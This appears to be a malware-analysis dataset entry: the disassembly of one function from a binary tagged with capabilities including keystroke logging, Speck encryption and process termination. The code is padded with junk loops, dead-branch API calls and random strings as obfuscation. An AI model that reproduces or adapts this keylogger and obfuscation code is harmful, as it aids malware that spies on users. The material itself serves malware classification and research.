Function at 0x10023d2d
Capabilities:
Encrypt data using speck
Get common file path
Get disk size
Log keystrokes via polling
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005e562
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x11f4
call fcn.1005a230
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xb8], 0xfffffffd
mov dword [ebp - 0xb8], 8
jmp 0x10023d79
mov eax, dword [ebp - 0xb8]
dec eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0xffffffed
jl 0x10023f94
mov dword [ebp - 0x458], 0xfffffffc
mov dword [ebp - 0xb5c], 0xd2d1a4e6
cmp dword [ebp - 0xb8], 0
je 0x10023dbd
mov eax, dword [ebp - 0x458]
sub eax, dword [ebp - 0xb8]
je 0x10023dbd
mov dword [ebp - 0x79c], 1
jmp 0x10023dc4
and dword [ebp - 0x79c], 0
cmp dword [ebp - 0xb8], 0
jle 0x10023dd9
mov dword [ebp - 0xb0c], 1
jmp 0x10023de0
and dword [ebp - 0xb0c], 0
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0xf28], eax
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0xb8]
jg 0x10023e06
mov dword [ebp - 0xa14], 1
jmp 0x10023e0d
and dword [ebp - 0xa14], 0
mov eax, dword [ebp - 0x79c]
sub eax, dword [ebp - 0xa14]
mov dword [ebp - 0xb5c], eax
mov byte [ebp - 0x15f], 0
movzx eax, byte [ebp - 0x15f]
test eax, eax
je 0x10023f8f
mov dword [ebp - 0xa1c], 0x5df5
mov dword [ebp - 0xb64], str.htp_ogxrpz_kzetip_qzypxz_otd_ilonesuvt_croihnkd_lkjrnmp_knzkczkl_dkohaeavm_zzrtbqml_aaifrrmft_oflzwiw_qnwizq
cmp dword [ebp - 0xa1c], 0x6151
jle 0x10023f3d
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
and dword [ebp - 0x260], 0
jmp 0x10023e79
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x33f4
jge 0x10023f3d
and dword [ebp - 0x3f4], 0
jmp 0x10023e9f
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x6922
jge 0x10023f38
and dword [ebp - 0x3fc], 0
jmp 0x10023ec5
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0x60da
jge 0x10023f33
and dword [ebp - 0x20c], 0
jmp 0x10023ee7
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x465b
jge 0x10023f31
mov eax, dword [ebp - 0x3f4]
imul eax, dword [ebp - 0x3fc]
add eax, dword [ebp - 0x260]
or eax, dword [ebp - 0x20c]
cdq
mov dword [ebp - 0xb80], eax
mov dword [ebp - 0xb7c], edx
push dword [ebp - 0xb7c]
push dword [ebp - 0xb80]
mov ecx, 0x100792f8
call fcn.1000a4ec
jmp 0x10023eda
jmp 0x10023eb8
jmp 0x10023e92
jmp 0x10023e6c
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
and dword [ebp - 4], 0
cmp dword [ebp - 0xa1c], 0x5ab6
jge 0x10023f69
mov edx, dword [ebp - 0xb64]
mov ecx, 0x100792f8
call fcn.1000c8f5
jmp 0x10023f85
or dword [ebp - 4], 0xffffffff
jmp 0x10023f8f
jmp 0x10023d6c
mov dword [ebp - 0x14c], 0x53b26bdd
mov dword [ebp - 0x68], 0xfffffff8
mov dword [ebp - 0xefc], 6
mov dword [ebp - 0x14c], 0
jmp 0x10023fc8
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xfffffffa
jg 0x100243a9
mov dword [ebp - 0x8c], 0xffffffff
mov dword [ebp - 0x2a4], 0
jmp 0x10023ff8
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 2
jge 0x10024014
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x9dc], 0xee28
jmp 0x10023feb
mov eax, 0xd15de05d
test eax, eax
je 0x1002405e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9dc], 6
jbe 0x10024039
mov dword [ebp - 0xa24], 1
jmp 0x10024040
and dword [ebp - 0xa24], 0
mov eax, dword [ebp - 0xa24]
neg eax
imul eax, eax, 0x77eb9321
test eax, eax
je 0x1002405e
mov dword [ebp - 0xa2c], 1
jmp 0x10024065
and dword [ebp - 0xa2c], 0
mov eax, dword [ebp - 0xa2c]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x8c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x8c]
imul ecx, dword [ebp + eax - 0x9dc]
test ecx, ecx
je 0x1002437e
mov dword [ebp - 0xc0], 0
push 3
lea ecx, [ebp - 0xaa4]
call fcn.1000a704
mov dword [ebp - 4], 2
mov dword [ebp - 0x19c], 0x3b5b0d69
mov dword [ebp - 0x214], 0
jmp 0x100240d4
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 3
jge 0x100240f6
push dword [ebp - 0x214]
lea ecx, [ebp - 0xaa4]
call fcn.1000a7a3
mov dword [eax], 0x6a9b03be
jmp 0x100240c7
cmp dword [ebp - 0x68], 0
jne 0x10024108
mov dword [ebp - 0xa34], 1
jmp 0x1002410f
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0xa34]
mov dword [ebp - 0xc0], eax
mov esi, dword [ebp - 0x14c]
mov edi, dword [ebp - 0xc0]
push 1
lea ecx, [ebp - 0xaa4]
call fcn.1000a7a3
add edi, dword [eax]
cmp edi, esi
jle 0x10024146
mov dword [ebp - 0xb6c], 1
jmp 0x1002414d
and dword [ebp - 0xb6c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9dc], 1
jbe 0x10024169
mov dword [ebp - 0xb74], 1
jmp 0x10024170
and dword [ebp - 0xb74], 0
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xfe0], eax
mov esi, dword [ebp - 0x19c]
push 1
lea ecx, [ebp - 0xaa4]
call fcn.1000a7a3
cmp dword [eax], esi
jg 0x1002419c
mov dword [ebp - 0xa90], 1
jmp 0x100241a3
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp - 0xa90], eax
jg 0x100241bd
mov dword [ebp - 0xa98], 1
jmp 0x100241c4
and dword [ebp - 0xa98], 0
cmp dword [ebp - 0xa98], 1
je 0x100241d9
mov dword [ebp - 0xcdc], 1
jmp 0x100241e0
and dword [ebp - 0xcdc], 0
mov esi, dword [ebp - 0xc0]
push 1
lea ecx, [ebp - 0xaa4]
call fcn.1000a7a3
cmp esi, dword [eax]
jge 0x10024203
mov dword [ebp - 0xa8c], 1
jmp 0x1002420a
and dword [ebp - 0xa8c], 0
push 1
lea ecx, [ebp - 0xaa4]
call fcn.1000a7a3
mov ecx, dword [ebp - 0xa8c]
cmp ecx, dword [eax]
jge 0x1002422d
mov dword [ebp - 0xa88], 1
jmp 0x10024234
and dword [ebp - 0xa88], 0
cmp dword [ebp - 0xa88], 3
jg 0x10024249
mov dword [ebp - 0xce4], 1
jmp 0x10024250
and dword [ebp - 0xce4], 0
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x14c]
jle 0x10024270
cmp dword [ebp - 0x8c], 0
jne 0x10024270
and dword [ebp - 0x954], 0
jmp 0x1002427a
mov dword [ebp - 0x954], 1
push 2
lea ecx, [ebp - 0xaa4]
call fcn.1000a7a3
mov ecx, dword [ebp - 0x954]
cmp ecx, dword [eax]
jle 0x1002429d
mov dword [ebp - 0x920], 1
jmp 0x100242a4
and dword [ebp - 0x920], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9dc]
cmp dword [ebp - 0x920], eax
jne 0x100242c5
mov dword [ebp - 0x4e0], 1
jmp 0x100242cc
and dword [ebp - 0x4e0], 0
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x19c], 0xfffffff6
jmp 0x100242ee
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 3
jl 0x1002436d
mov dword [ebp - 0x68], 1
jmp 0x10024307
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
jl 0x10024368
mov dword [ebp - 0xc0], 2
jmp 0x10024326
mov eax, dword [ebp - 0xc0]
dec eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jl 0x10024366
mov dword [ebp - 0x8c], 0
jmp 0x10024348
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 2
jge 0x10024364
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x9dc], 1
jmp 0x1002433b
jmp 0x10024319
jmp 0x10024300
jmp 0x100242e1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaa4]
call fcn.1000a787
jmp 0x10024388
mov dword [ebp - 0x8c], 0x2dcbded6
mov byte [ebp - 0x153], 0
movzx eax, byte [ebp - 0x153]
test eax, eax
je 0x100243a4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x10023fbb
cmp dword [0x1007d428], 0
jne 0x1002a623
push 1
lea ecx, [ebp - 0x468]
call fcn.1000a704
mov dword [ebp - 4], 3
mov dword [ebp - 0xd0], 1
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0xcfc], 0x64e4
mov dword [ebp - 0xd04], 0xb132dc1b
mov dword [ebp - 0x70], 0
jmp 0x100243ff
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1002441b
push dword [ebp - 0x70]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
mov dword [eax], 0xea7
jmp 0x100243f8
mov dword [ebp - 0x70], 0
jmp 0x1002442b
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x10024441
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x938], 0x24b2e809
jmp 0x10024424
mov dword [ebp - 0xd0], 0
jmp 0x1002445a
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jl 0x10024849
mov dword [ebp - 0x174], 0xb296ad98
mov dword [ebp - 0x958], 0x3f559cde
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
cmp dword [eax], 0
je 0x100244a9
mov dword [ebp - 0xcec], 0x1fc3eee2
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0x40], eax
jmp 0x10024844
mov dword [ebp - 0x164], 0x70ab227d
mov dword [ebp - 0xd0c], 0xeabf554
mov dword [ebp - 0xd14], 0
mov dword [ebp - 0x40], 0
jmp 0x100244d7
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jg 0x1002463c
mov dword [ebp - 0x498], 0
push dword [ebp - 0x40]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
mov esi, eax
push dword [ebp - 0xd0]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
mov eax, dword [eax]
sub eax, dword [esi]
mov dword [ebp - 0x498], eax
mov esi, dword [ebp - 0x498]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
cmp esi, dword [eax]
jl 0x1002454b
mov dword [ebp - 0x928], 1
jmp 0x10024552
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x928], 0xbe360de5
jbe 0x1002456a
mov dword [ebp - 0x4e8], 1
jmp 0x10024571
and dword [ebp - 0x4e8], 0
mov esi, dword [ebp - 0x164]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
add esi, dword [eax]
add esi, dword [ebp - 0x4e8]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
add esi, dword [eax]
push dword [ebp - 0x40]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
add esi, dword [eax]
cmp esi, 0xffffffff
ja 0x100245be
mov dword [ebp - 0xcf4], 1
jmp 0x100245c5
and dword [ebp - 0xcf4], 0
push dword [ebp - 0x40]
lea ecx, [ebp - 0x468]
call fcn.1000a7a3
mov eax, dword [ebp - 0x498]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x938], eax
cmp dword [ebp - 0x164], 0xa8db
je 0x100245fe
mov dword [ebp - 0x930], 1
jmp 0x10024605
and dword [ebp - 0x930], 0
cmp dword [ebp - 0x930], 0x2803
je 0x1002461d
mov dword [ebp - 0x4f0], 1
jmp 0x10024624
and dword [ebp - 0x4f0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp + eax - 0x938], ecx
jmp 0x100244d0
cmp dword [ebp - 0x164], 0
je 0x100247e4
or eax, 0xffffffff
je 0x10024796
cmp dword [ebp - 0x174], 0
jne 0x10024667
mov dword [ebp - 0x4f8], 1
jmp 0x1002466e
and dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x4f8], 0
jg 0x10024683
mov dword [ebp - 0x940], 1
jmp 0x1002468a
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0xcfc]
cmp dword [ebp - 0x940], eax
jl 0x100246aa
mov eax, 0xfb108f98
test eax, eax
jne 0x100246aa
and dword [ebp - 0x500], 0
jmp 0x100246b4
mov dword [ebp - 0x500], 1
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x164]
jle 0x100246da
mov dword [ebp - 0x948], 1
jmp 0x100246e1
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp - 0x948], eax
jle 0x10024704
cmp dword [ebp - 0x174], 0
je 0x10024704
mov dword [ebp - 0x508], 1
jmp 0x1002470b
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0xd04]
add eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0x174]
jl 0x1002472b
mov dword [ebp - 0x950], 1
jmp 0x10024732
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x950], eax
je 0x1002474c
mov dword [ebp - 0x510], 1
jmp 0x10024753
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x958]
cmp eax, dword [ebp - 0x174]
je 0x10024779
mov dword [ebp - 0x518], 1
jmp 0x10024780
and dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x518]
neg eax
je 0x10024796
mov dword [ebp - 0x960], 1
jmp 0x1002479d
and dword [ebp - 0x960], 0
cmp dword [ebp - 0x960], 2
jne 0x100247b2
mov dword [ebp - 0x520], 1
jmp 0x100247b9
and dword [ebp - 0x520], 0
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x520], eax
jle 0x100247d3
mov dword [ebp - 0x968], 1
jmp 0x100247da
and dword [ebp - 0x968], 0
mov eax, dword [ebp - 0x968]
neg eax
jne 0x100247f6
cmp dword [ebp - 0xd0c], 0
jne 0x100247f6
and dword [ebp - 0x528], 0
jmp 0x10024800
mov dword [ebp - 0x528], 1
cmp dword [ebp - 0x528], 7
jne 0x10024815
mov dword [ebp - 0x970], 1
jmp 0x1002481c
and dword [ebp - 0x970], 0
cmp dword [ebp - 0x970], 0
je 0x10024831
mov dword [ebp - 0x530], 1
jmp 0x10024838
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
mov dword [ebp - 0xd14], eax
jmp 0x1002444d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x468]
call fcn.1000a787
mov dword [ebp - 0x21c], 0x5b9b55bb
push 2
lea ecx, [ebp - 0xabc]
call fcn.1000a704
mov dword [ebp - 4], 4
mov dword [ebp - 0x988], 0xfffffff6
mov dword [ebp - 0x2ac], 0
jmp 0x10024899
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 2
jge 0x100248b8
push dword [ebp - 0x2ac]
lea ecx, [ebp - 0xabc]
call fcn.1000a7a3
or dword [eax], 0xffffffff
jmp 0x1002488c
mov dword [ebp - 0x21c], 0x16
jmp 0x100248d1
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x18
jg 0x10024a5d
mov dword [ebp - 0x16c], 1
mov dword [ebp - 0x16c], 1
jmp 0x10024901
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jl 0x10024a58
mov dword [ebp - 0x540], 8
mov dword [ebp - 0x978], 1
mov dword [ebp - 0x538], 0x6652d0da
mov dword [ebp - 0x2b4], 0
jmp 0x10024945
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 3
jge 0x10024961
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0x1074], 0xffffffff
jmp 0x10024938
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x978], eax
mov eax, dword [ebp - 0x978]
mov dword [ebp - 0x538], eax
mov esi, dword [ebp - 0x538]
push 1
lea ecx, [ebp - 0xabc]
call fcn.1000a7a3
imul esi, dword [eax]
push dword [ebp - 0x16c]
lea ecx, [ebp - 0xabc]
call fcn.1000a7a3
cmp dword [eax], esi
jne 0x100249b0
mov dword [ebp - 0xd1c], 1
jmp 0x100249b7
and dword [ebp - 0xd1c], 0
push 0
lea ecx, [ebp - 0xabc]
call fcn.1000a7a3
cmp dword [eax], 0xfffe
je 0x100249d8
mov dword [ebp - 0x980], 1
jmp 0x100249df
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x988], eax
mov eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x988]
jg 0x10024a05
mov dword [ebp - 0xd24], 1
jmp 0x10024a0c
and dword [ebp - 0xd24], 0
push 0
lea ecx, [ebp - 0xabc]
call fcn.1000a7a3
push 1
lea ecx, [ebp - 0xabc]
call fcn.1000a7a3
mov eax, dword [ebp - 0x16c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x1074], eax
mov byte [ebp - 0x13d], 0
movzx eax, byte [ebp - 0x13d]
test eax, eax
je 0x10024a53
push 0
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x100248f4
jmp 0x100248c4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xabc]
call fcn.1000a787
mov byte [ebp - 0x1e0], 0xb
mov byte [ebp - 0x1df], 0x65
mov byte [ebp - 0x1de], 6
mov byte [ebp - 0x1dd], 0x5f
mov byte [ebp - 0x1dc], 2
mov byte [ebp - 0x1db], 0x41
mov byte [ebp - 0x1da], 0xa
mov byte [ebp - 0x1d9], 0x1e
mov byte [ebp - 0x1d8], 7
mov byte [ebp - 0x1d7], 0x5e
mov byte [ebp - 0x1d6], 8
mov byte [ebp - 0x1d5], 0x1c
mov byte [ebp - 0x1d4], 3
mov byte [ebp - 0x1d3], 0x40
mov byte [ebp - 0x1d2], 0
mov byte [ebp - 0x1d1], 0x25
mov byte [ebp - 0x1d0], 9
mov byte [ebp - 0x1cf], 0x2f
mov byte [ebp - 0x1ce], 4
mov byte [ebp - 0x1cd], 1
mov byte [ebp - 0x1cc], 1
mov byte [ebp - 0x1cb], 0
mov byte [ebp - 0x1ca], 5
mov byte [ebp - 0x1c9], 9
mov byte [ebp - 0x1c8], 3
mov byte [ebp - 0x1c7], 0xed
mov byte [ebp - 0x1c6], 0x7b
mov byte [ebp - 0x1c5], 0x19
mov dword [ebp - 0x224], 0xf6af1124
mov byte [ebp - 0x155], 0
movzx eax, byte [ebp - 0x155]
test eax, eax
je 0x10024b5c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [ebp - 0x224], 0
jmp 0x10024b75
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x16
jl 0x10024e1d
mov dword [ebp - 0x1b4], 0xfff8
mov dword [ebp - 0xe10], 0xfffffffb
mov dword [ebp - 0xe0c], 0xfffffffb
mov dword [ebp - 0xe08], 0xfffffffb
mov dword [ebp - 0xe04], 0xfffffffb
lea ecx, [ebp - 0x44d]
call fcn.1000a7b2
push eax
lea eax, [ebp - 0xe00]
push eax
lea eax, [ebp - 0xe10]
push eax
lea ecx, [ebp - 0x10fc]
call fcn.1000a7b5
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x10a4]
call fcn.1000a761
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b4], 0xffffffea
jmp 0x10024c0c
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xc
jl 0x10024e0d
mov dword [ebp - 0xc8], 1
mov dword [ebp - 0xc8], 0x18
jmp 0x10024c3c
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xfffffff4
jle 0x10024c70
mov byte [ebp - 0x15d], 0
movzx eax, byte [ebp - 0x15d]
test eax, eax
je 0x10024c6e
push 0
push 0x264b
push 0xe1
push 0x4c1
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
jmp 0x10024c2f
mov dword [ebp - 0xc8], 0xf
jmp 0x10024c89
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xffffffe6
jle 0x10024e08
mov dword [ebp - 0x2bc], 0
jmp 0x10024caf
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 2
jge 0x10024ccb
mov eax, dword [ebp - 0x2bc]
mov dword [ebp + eax*4 - 0xac4], 0xbb6bc3ec
jmp 0x10024ca2
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xac4], 0
jmp 0x10024cf9
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xac4]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xac4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xac4], 3
jg 0x10024e03
mov dword [ebp - 0xd8], 0x4f98cafa
mov dword [ebp - 0xd8], 3
jmp 0x10024d30
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x10024d86
mov dword [ebp - 0x22c], 1
mov dword [ebp - 0x22c], 3
jmp 0x10024d5c
mov eax, dword [ebp - 0x22c]
dec eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jl 0x10024d84
mov byte [ebp - 0x14e], 0
movzx eax, byte [ebp - 0x14e]
test eax, eax
je 0x10024d82
push 0xb34
call dword [sym.imp.USER32.dll_MessageBeep]
jmp 0x10024d4f
jmp 0x10024d23
mov dword [ebp - 0xd8], 3
jmp 0x10024d9f
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0
jl 0x10024dfe
mov dword [ebp - 0x2c4], 0
mov dword [ebp - 0x2c4], 3
jmp 0x10024dcb
mov eax, dword [ebp - 0x2c4]
dec eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
jl 0x10024dfc
mov byte [ebp - 0x141], 0
movzx eax, byte [ebp - 0x141]
test eax, eax
je 0x10024dfa
push 0x10ce
push 0
push 0
push 0x1b17
call dword [sym.imp.USER32.dll_RedrawWindow]
jmp 0x10024dbe
jmp 0x10024d92
jmp 0x10024cde
jmp 0x10024c7c
jmp 0x10024bff
lea ecx, [ebp - 0x10a4]
call fcn.1000a787
jmp 0x10024b68
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x1e0]
and eax, 9
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x1e0]
or ecx, 9
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x1e0]
mov word [ebp + eax*2 - 0xeb0], cx
mov dword [ebp - 0x15c], 0x6af1124f
mov dword [ebp - 0x9a0], 0x76fbfcc0
mov dword [ebp - 0x15c], 0
jmp 0x10024e84
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xfffffff3
jne 0x10025441
push 1
lea ecx, [ebp - 0xe4c]
call fcn.1000a704
mov dword [ebp - 4], 5
mov dword [ebp - 0xe4], 6
mov dword [ebp - 0x548], 0x550e
mov dword [ebp - 0xd34], str.luybnhnbl_rrscflcj_wbeedhvpu_cej_tprqkwsc_rntquflc_vhqyhucqe_nlvrejdbi_dgezhjkqn_fvg
cmp dword [ebp - 0x548], 0x57be
jle 0x10024fe4
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
and dword [ebp - 0x2d4], 0
jmp 0x10024ef3
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x3625
jge 0x10024fe4
and dword [ebp - 0x23c], 0
jmp 0x10024f19
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x3748
jge 0x10024fdf
and dword [ebp - 0x234], 0
jmp 0x10024f3f
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x2c07
jge 0x10024fda
and dword [ebp - 0x2cc], 0
jmp 0x10024f65
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x6886
jge 0x10024fd5
mov eax, dword [ebp - 0x234]
imul eax, dword [ebp - 0x2cc]
xor eax, dword [ebp - 0x23c]
or eax, dword [ebp - 0x2d4]
cdq
mov dword [ebp - 0xb8c], eax
mov dword [ebp - 0xb88], edx
push dword [ebp - 0xb88]
push dword [ebp - 0xb8c]
lea ecx, [ebp - 0x1204]
call fcn.10001a6a
pop ecx
pop ecx
mov dword [ebp - 0xd2c], eax
mov ecx, dword [ebp - 0xd2c]
call fcn.1000a45e
push eax
call fcn.10046acc
pop ecx
lea ecx, [ebp - 0x1204]
call fcn.1000a440
jmp 0x10024f58
jmp 0x10024f32
jmp 0x10024f0c
jmp 0x10024ee6
mov byte [ebp - 4], 6
cmp dword [ebp - 0x548], 0x545a
jge 0x10025000
push dword [ebp - 0xd34]
call fcn.10046acc
pop ecx
jmp 0x1002501c
mov dword [ebp - 4], 5
jmp 0x1002502c
mov dword [ebp - 0x94], 0
jmp 0x10025045
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x10025067
push dword [ebp - 0x94]
lea ecx, [ebp - 0xe4c]
call fcn.1000a7a3
mov dword [eax], 0x5c19c5a6
jmp 0x10025038
mov dword [ebp - 0x94], 0
jmp 0x10025080
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x1002509c
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x2e4], 0x3ec3
jmp 0x10025073
mov dword [ebp - 0xe4], 0
jmp 0x100250b5
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jg 0x100253d8
mov dword [ebp - 0x190], 0x9c9fb37b
mov dword [ebp - 0x1a4], 0x92e6c0b3
mov byte [ebp - 0x154], 0
movzx eax, byte [ebp - 0x154]
test eax, eax
je 0x100250f5
push 0x1cbc
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov dword [ebp - 0x190], 0
jmp 0x1002510e
mov eax, dword [ebp - 0x190]
dec eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jl 0x100253d3
mov dword [ebp - 0x198], 0xffffffff
mov byte [ebp - 0x143], 0
mov dword [ebp - 0x990], 0x2ce
mov dword [ebp - 0xd3c], str.hpya_gzavag_hwjfvn_fbcxrtvl_nrbxa_mpuzfypzy
cmp dword [ebp - 0x990], 0x38f
jle 0x100251cb
and dword [ebp - 0x244], 0
jmp 0x10025162
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x1bed
jge 0x100251c3
and dword [ebp - 0x2dc], 0
jmp 0x10025184
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x34d9
jge 0x100251c1
mov eax, dword [ebp - 0x244]
xor eax, dword [ebp - 0x2dc]
cdq
mov dword [ebp - 0xb98], eax
